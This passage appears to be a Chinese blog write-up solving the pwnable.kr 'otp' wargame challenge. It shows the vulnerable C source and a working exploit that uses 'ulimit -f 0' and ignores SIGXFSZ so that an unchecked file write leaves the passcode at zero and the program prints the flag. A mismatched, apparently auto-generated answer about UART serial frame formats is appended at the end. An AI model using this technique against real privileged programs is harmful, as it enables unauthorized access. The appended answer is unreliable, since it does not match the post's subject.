pwnable(otp)(open,read等函数的检查缺失)

12 篇文章 0 订阅
9 篇文章 0 订阅

远程拷贝文件到本地 scp -P 2222 otp@pwnable.kr:/home/otp/opt .

学习到的函数strtoul(argv[1], 0, 16)str转化位long,以16进制方式。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

int main(int argc, char* argv[]){
	char fname[128];
	unsigned long long otp[2];

	if(argc!=2){
		printf("usage : ./otp [passcode]\n");
		return 0;
	}

	int fd = open("/dev/urandom", O_RDONLY);
	if(fd==-1) exit(-1);

	if(read(fd, otp, 16)!=16) exit(-1);
	close(fd);

	sprintf(fname, "/tmp/%llu", otp[0]);
	FILE* fp = fopen(fname, "w");
	if(fp==NULL){ exit(-1); }
	fwrite(&otp[1], 8, 1, fp);
	fclose(fp);

	printf("OTP generated.\n");

	unsigned long long passcode=0;
	FILE* fp2 = fopen(fname, "r");
	if(fp2==NULL){ exit(-1); }
	fread(&passcode, 8, 1, fp2);
	fclose(fp2);
	
	if(strtoul(argv[1], 0, 16) == passcode){
		printf("Congratz!\n");
		system("/bin/cat flag");
	}
	else{
		printf("OTP mismatch\n");
	}

	unlink(fname);
	return 0;
}

程序生成了一个随机数放入文件,然后读取这个文件然后让这个文件跟输入的password进行比较相同获取shell。

这里可以观察到fread(&passcode, 8, 1, fp2);是没有验证是否成功的,如果能够打开文件成功但是读取文件中内容的时候失败就能获取shell。
接下来就是想办法控制完成这一条件
可以用ulimit
ulimit了解一下
在这里可以设置文件

otp@ubuntu:~$ ulimit -a
core file size          (blocks, -c) 0
data seg size           (kbytes, -d) 1500000
scheduling priority             (-e) 0
file size               (blocks, -f) 120000
pending signals                 (-i) 31753
max locked memory       (kbytes, -l) 64
max memory size         (kbytes, -m) unlimited
open files                      (-n) 1500
pipe size            (512 bytes, -p) 8
POSIX message queues     (bytes, -q) 819200
real-time priority              (-r) 0
stack size              (kbytes, -s) 8192
cpu time               (seconds, -t) unlimited
max user processes              (-u) 300
virtual memory          (kbytes, -v) unlimited
file locks                      (-x) unlimited
otp@ubuntu:~$ ulimit -f 0
otp@ubuntu:~$ ulimit -a
core file size          (blocks, -c) 0
data seg size           (kbytes, -d) 1500000
scheduling priority             (-e) 0
file size               (blocks, -f) 0
pending signals                 (-i) 31753
max locked memory       (kbytes, -l) 64
max memory size         (kbytes, -m) unlimited
open files                      (-n) 1500
pipe size            (512 bytes, -p) 8
POSIX message queues     (bytes, -q) 819200
real-time priority              (-r) 0
stack size              (kbytes, -s) 8192
cpu time               (seconds, -t) unlimited
max user processes              (-u) 300
virtual memory          (kbytes, -v) unlimited
file locks                      (-x) unlimited

设置shell所能创建的最大文件为0
但是这个时候执行的时候会报错

otp@ubuntu:~$ ./otp 0
File size limit exceeded

这个错误是作为信号进行传播的,linux系统中信号是可以被忽略的

import signal
signal.signal(signal.SIGXFSZ,signal.SIG_IGN)

可以在python的交互窗口中获取shell

>> import os,signal
>>> signal.signal(signal.SIGXFSZ,signal.SIG_IGN)
1
>>> os.system('./otp 0')
OTP generated.
Congratz!
Darn... I always forget to check the return value of fclose() :(
0

但是我们还可以直接用一条命令来输出

ulimit -f 0 && python -c "import os,signal; signal.signal(signal.SIGXFSZ,signal.SIG_IGN); os.system('./otp 0')"

分析:设置ulimit -f 0使fwrite(&otp[1], 8, 1, fp);失败,创建的文件中数据写入失败读取出来的就是0

总结:liunx信号可以忽略,ulimit可以控制进程分佩的资源。
参考:https://nickcano.com/pwnables-write-ups-oct17/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
根据提供的引用内容,我们可以得出以下结论: OTP Repair Margin Read是关于异步通信中的数据格式的问题。在异步通信中,数据格式包括起始位、数据位、奇偶校验位、停止位和空闲位。 起始位是一个持续一个比特时间的“0”,用于标志传输一个字符的开始。 数据位紧跟在起始位之后,是通信中的真正有效信息。数据位的位数可以由通信双方共同约定,一般可以是5位、7位或8位。传输数据时先传送字符的低位,后传送字符的高位。 奇偶校验位是用于进行奇校验或偶校验的一位数据。奇偶校验位不是必须有的,它可以用于保证传输的数据总共有奇数个或偶数个“1”。奇偶校验位仅对数据进行简单的置逻辑高位或逻辑低位,不会对数据进行实质的判断。它的作用是让接收设备能够知道一个位的状态,判断是否有噪声干扰了通信以及传输的数据是否同步。 停止位可以是1位、1.5位或2位,用于标志传输一个字符的结束。停止位一定是“1”。 空闲位是指从一个字符的停止位结束到下一个字符的起始位开始的时间段,表示线路处于空闲状态,必须由高电平来填充。 关于OTP Repair Margin Read的具体内容,引用中没有提供相关信息。如果您有关于OTP Repair Margin Read的具体问题,请提供更多的上下文信息,以便我能够更好地回答您的问题。 #### 引用[.reference_title] - *1* *2* *3* [C——Linux下的串口编程](https://blog.csdn.net/qq_38545868/article/details/84950052)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值